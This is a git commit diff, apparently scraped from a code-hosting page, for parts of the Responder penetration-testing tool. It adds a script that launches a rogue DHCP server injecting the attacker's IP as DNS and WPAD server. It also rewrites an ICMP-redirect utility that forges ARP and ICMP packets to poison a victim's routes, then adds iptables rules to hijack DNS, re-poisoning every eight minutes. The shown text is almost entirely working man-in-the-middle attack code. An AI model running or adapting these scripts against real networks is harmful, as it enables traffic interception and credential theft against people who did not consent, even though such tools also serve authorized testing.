SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
Message = ParseDHCPCode(data[0][42:])
|
||||
if Message:
|
||||
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
|
||||
print Message
|
||||
if __name__ == "__main__":
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
print text("[DHCP] %s" % ParseDHCPCode(data[0][42:]))
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
|
||||
SniffUDPMac()
|
||||
|
|
60
tools/DHCP_Auto.sh
Normal file
60
tools/DHCP_Auto.sh
Normal file
|
@ -0,0 +1,60 @@
|
|||
#!/bin/bash
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# This script will try to auto-detect network parameters
|
||||
# to run the rogue DHCP server, to inject only your IP
|
||||
# address as the primary DNS server and WPAD server and
|
||||
# leave everything else normal.
|
||||
|
||||
if [ -z $1 ]; then
|
||||
echo "usage: $0 <interface>"
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ $EUID -ne 0 ]; then
|
||||
echo "Must be run as root."
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ ! -d "/sys/class/net/$1" ]; then
|
||||
echo "Interface does not exist."
|
||||
exit
|
||||
fi
|
||||
|
||||
INTF=$1
|
||||
IPADDR=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $3}'`
|
||||
NETMASK=`/sbin/ifconfig $INTF | grep 'inet addr' | tr ':' ' ' | awk '{print $7}'`
|
||||
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
|
||||
DNS1=$IPADDR
|
||||
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
|
||||
ROUTER=`/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'`
|
||||
WPADSTR="http://$IPADDR/wpad.dat"
|
||||
if [ -z "$DOMAIN" ]; then
|
||||
DOMAIN=" "
|
||||
fi
|
||||
|
||||
echo "Running with parameters:"
|
||||
echo "INTERFACE: $INTF"
|
||||
echo "IP ADDR: $IPADDR"
|
||||
echo "NETMAST: $NETMASK"
|
||||
echo "ROUTER IP: $ROUTER"
|
||||
echo "DNS1 IP: $DNS1"
|
||||
echo "DNS2 IP: $DNS2"
|
||||
echo "WPAD: $WPADSTR"
|
||||
echo ""
|
||||
|
||||
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
|
@ -14,252 +14,249 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,socket,struct,optparse,random,pipes
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import optparse
|
||||
import random
|
||||
import pipes
|
||||
|
||||
from random import randrange
|
||||
from time import sleep
|
||||
from subprocess import call
|
||||
from pipes import quote
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
|
||||
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||
|
||||
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
||||
|
||||
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
||||
|
||||
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
||||
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
|
||||
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
from odict import OrderedDict
|
||||
from packets import Packet
|
||||
from utils import *
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-g', '--gateway', action="store", help="The ip address of the original gateway ('route -n' will tell)", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||
parser.add_option('-t', '--target', action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
||||
parser.add_option('-r', '--route', action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
||||
parser.add_option('-s', '--secondaryroute', action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
||||
parser.add_option('-a', '--alternate', action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.Responder_IP is None:
|
||||
print "-i mandatory option is missing.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
if options.OriginalGwAddr is None:
|
||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
exit(-1)
|
||||
|
||||
if options.VictimIP is None:
|
||||
print "-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "-t mandatory option is missing, please provide a target.\n"
|
||||
exit(-1)
|
||||
|
||||
if options.Interface is None:
|
||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide your network interface.\n"
|
||||
exit(-1)
|
||||
|
||||
if options.ToThisHost is None:
|
||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print color("[!]", 1, 1), "r mandatory option is missing, please provide a destination target.\n"
|
||||
exit(-1)
|
||||
|
||||
if options.AlternateGwAddr is None:
|
||||
AlternateGwAddr = options.Responder_IP
|
||||
AlternateGwAddr = FindLocalIP(Interface)
|
||||
|
||||
#Setting some vars.
|
||||
Responder_IP = options.Responder_IP
|
||||
OriginalGwAddr = options.OriginalGwAddr
|
||||
Responder_IP = FindLocalIP(Interface)
|
||||
OriginalGwAddr = options.OriginalGwAddr
|
||||
AlternateGwAddr = options.AlternateGwAddr
|
||||
VictimIP = options.VictimIP
|
||||
ToThisHost = options.ToThisHost
|
||||
ToThisHost2 = options.ToThisHost2
|
||||
Interface = options.Interface
|
||||
VictimIP = options.VictimIP
|
||||
ToThisHost = options.ToThisHost
|
||||
ToThisHost2 = options.ToThisHost2
|
||||
Interface = options.Interface
|
||||
|
||||
def Show_Help(ExtraHelpData):
|
||||
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
||||
help+= ExtraHelpData
|
||||
print help
|
||||
|
||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,Responder_IP)
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
print '###########################################################################'
|
||||
print '## ICMP REDIRECT UTILITY 0.1 ##'
|
||||
print '## ##'
|
||||
print '## This utility combined with Responder is useful on Windows networks ##'
|
||||
print '## Most Linux distributions discard by default ICMP Redirects. ##'
|
||||
print '## ##'
|
||||
print '## Note that if the target is Windows, the poisoning will only ##'
|
||||
print '## last for 10mn, you can re-poison the target by launching this ##'
|
||||
print '## utility again. If you wish to respond to the traffic, for example ##'
|
||||
print '## to DNS queries issued by the target, run these commands as root: ##'
|
||||
print '## ##'
|
||||
print '## * iptables -A OUTPUT -p ICMP -j DROP ##'
|
||||
print '## * iptables -t nat -A PREROUTING -p udp --dst %s ##' % ToThisHost
|
||||
print '## --dport 53 -j DNAT --to-destination %s:53 ##' % Responder_IP
|
||||
print '###########################################################################'
|
||||
print ''
|
||||
|
||||
def GenCheckSum(data):
|
||||
s = 0
|
||||
for i in range(0, len(data), 2):
|
||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||
f = s+q
|
||||
s = (f & 0xffff) + (f >> 16)
|
||||
return struct.pack("<H",~s & 0xffff)
|
||||
s = 0
|
||||
for i in range(0, len(data), 2):
|
||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||
f = s+q
|
||||
s = (f & 0xffff) + (f >> 16)
|
||||
return struct.pack("<H",~s & 0xffff)
|
||||
|
||||
#####################################################################
|
||||
#ARP Packets
|
||||
#####################################################################
|
||||
class EthARP(Packet):
|
||||
fields = OrderedDict([
|
||||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x06" ), #ARP
|
||||
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x06" ), #ARP
|
||||
])
|
||||
|
||||
class ARPWhoHas(Packet):
|
||||
fields = OrderedDict([
|
||||
("HwType", "\x00\x01"),
|
||||
("ProtoType", "\x08\x00" ), #IP
|
||||
("MacLen", "\x06"),
|
||||
("IPLen", "\x04"),
|
||||
("OpCode", "\x00\x01"),
|
||||
("SenderMac", ""),
|
||||
("SenderIP", "\x00\xff\x53\x4d"),
|
||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||
("DstIP", "\x00\x00\x00\x00"),
|
||||
fields = OrderedDict([
|
||||
("HwType", "\x00\x01"),
|
||||
("ProtoType", "\x08\x00" ), #IP
|
||||
("MacLen", "\x06"),
|
||||
("IPLen", "\x04"),
|
||||
("OpCode", "\x00\x01"),
|
||||
("SenderMac", ""),
|
||||
("SenderIP", "\x00\xff\x53\x4d"),
|
||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||
("DstIP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||
self.fields["SenderIP"] = inet_aton(Responder_IP)
|
||||
def calculate(self):
|
||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||
self.fields["SenderIP"] = inet_aton(Responder_IP)
|
||||
|
||||
#####################################################################
|
||||
#ICMP Redirect Packets
|
||||
#####################################################################
|
||||
class Eth2(Packet):
|
||||
fields = OrderedDict([
|
||||
("DstMac", ""),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x00" ), #IP
|
||||
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("DstMac", ""),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x00" ), #IP
|
||||
])
|
||||
|
||||
class IPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("VLen", "\x45"),
|
||||
("DifField", "\x00"),
|
||||
("Len", "\x00\x38"),
|
||||
("TID", "\x25\x25"),
|
||||
("Flag", "\x00"),
|
||||
("FragOffset", "\x00"),
|
||||
("TTL", "\x1d"),
|
||||
("Cmd", "\x01"), #ICMP
|
||||
("CheckSum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DestIP", ""),
|
||||
("Data", ""),
|
||||
fields = OrderedDict([
|
||||
("VLen", "\x45"),
|
||||
("DifField", "\x00"),
|
||||
("Len", "\x00\x38"),
|
||||
("TID", "\x25\x25"),
|
||||
("Flag", "\x00"),
|
||||
("FragOffset", "\x00"),
|
||||
("TTL", "\x1d"),
|
||||
("Cmd", "\x01"), #ICMP
|
||||
("CheckSum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DestIP", ""),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
||||
# Calc Len First
|
||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
def calculate(self):
|
||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
||||
# Calc Len First
|
||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
class ICMPRedir(Packet):
|
||||
fields = OrderedDict([
|
||||
("Type", "\x05"),
|
||||
("OpCode", "\x01"),
|
||||
("CheckSum", "\x00\x00"),
|
||||
("GwAddr", ""),
|
||||
("Data", ""),
|
||||
fields = OrderedDict([
|
||||
("Type", "\x05"),
|
||||
("OpCode", "\x01"),
|
||||
("CheckSum", "\x00\x00"),
|
||||
("GwAddr", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(Responder_IP)
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(Responder_IP)
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
class DummyUDP(Packet):
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x35"), #port 53
|
||||
("DstPort", "\x00\x35"),
|
||||
("Len", "\x00\x08"), #Always 8 in this case.
|
||||
("CheckSum", "\x00\x00"), #CheckSum disabled.
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x35"), #port 53
|
||||
("DstPort", "\x00\x35"),
|
||||
("Len", "\x00\x08"), #Always 8 in this case.
|
||||
("CheckSum", "\x00\x00"), #CheckSum disabled.
|
||||
])
|
||||
|
||||
def ReceiveArpFrame(DstAddr):
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
s.settimeout(5)
|
||||
Protocol = 0x0806
|
||||
s.bind((Interface, Protocol))
|
||||
OurMac = s.getsockname()[4]
|
||||
Eth = EthARP(SrcMac=OurMac)
|
||||
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
|
||||
Arp.calculate()
|
||||
final = str(Eth)+str(Arp)
|
||||
try:
|
||||
s.send(final)
|
||||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
except:
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
exit(1)
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
s.settimeout(5)
|
||||
Protocol = 0x0806
|
||||
s.bind((Interface, Protocol))
|
||||
OurMac = s.getsockname()[4]
|
||||
Eth = EthARP(SrcMac=OurMac)
|
||||
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
|
||||
Arp.calculate()
|
||||
final = str(Eth)+str(Arp)
|
||||
try:
|
||||
s.send(final)
|
||||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
except:
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
exit(1)
|
||||
|
||||
def IcmpRedirectSock(DestinationIP):
|
||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||
print '[ARP]Target Mac address is :',PrintMac
|
||||
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
||||
print '[ARP]Router Mac address is :',PrintMac
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
|
||||
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
|
||||
IPPackUDP.calculate()
|
||||
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
||||
ICMPPack.calculate()
|
||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||
IPPack.calculate()
|
||||
final = str(Eth)+str(IPPack)
|
||||
s.send(final)
|
||||
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
|
||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
|
||||
def FindWhatToDo(ToThisHost2):
|
||||
if ToThisHost2 != None:
|
||||
Show_Help('Hit CRTL-C to kill this script')
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
|
||||
if ToThisHost2 == None:
|
||||
Show_Help(MoreHelp)
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
exit()
|
||||
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
|
||||
|
||||
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
|
||||
IPPackUDP.calculate()
|
||||
|
||||
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
||||
ICMPPack.calculate()
|
||||
|
||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||
IPPack.calculate()
|
||||
|
||||
final = str(Eth)+str(IPPack)
|
||||
s.send(final)
|
||||
|
||||
print text("[ICMP-Redir] %s should have been poisoned with a new route for target: %s" % (VictimIP, DestinationIP))
|
||||
|
||||
def RunThisInLoop(host, host2, ip):
|
||||
dns1 = pipes.quote(host)
|
||||
dns2 = pipes.quote(host2)
|
||||
Responder_IPadd = pipes.quote(ip)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
|
||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
||||
while True:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
print "[+]Repoisoning the target in 8 minutes..."
|
||||
sleep(480)
|
||||
dns1 = pipes.quote(host)
|
||||
dns2 = pipes.quote(host2)
|
||||
Responder_IPadd = pipes.quote(ip)
|
||||
|
||||
FindWhatToDo(ToThisHost2)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP")
|
||||
call("iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
|
||||
call("iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
|
||||
|
||||
print text("[ICMP-Redir] Automatic mode enabled")
|
||||
print text("[ICMP-Redir] IPtables rules added for both DNS Servers")
|
||||
|
||||
while True:
|
||||
print text("[ICMP-Redir] Poisoning target... Next round in 8 minutes.")
|
||||
try:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
sleep(480)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
|
||||
if __name__ == "__main__":
|
||||
if ToThisHost2 != None:
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
|
||||
|
||||
if ToThisHost2 == None:
|
||||
print text("[ICMP-Redir] Poisoning target...")
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
print text("[ICMP-Redir] Done.")
|
||||
exit()
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue